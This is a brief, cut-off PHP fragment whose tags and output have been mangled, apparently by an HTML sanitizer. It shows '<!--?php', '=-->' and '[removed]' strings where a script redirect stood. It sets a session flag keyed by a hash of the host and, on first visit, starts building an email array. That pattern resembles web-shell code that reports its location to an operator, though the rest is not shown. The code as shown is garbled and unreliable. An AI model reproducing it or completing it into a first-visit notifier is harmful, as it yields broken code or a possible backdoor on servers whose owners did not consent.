<!--?php
define('SEP', '/');
session_start();
function logout()
{
    unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
    print "[removed][removed]='?';[removed]";
}
if (!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) {
    $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    $email = [
        'email' =-->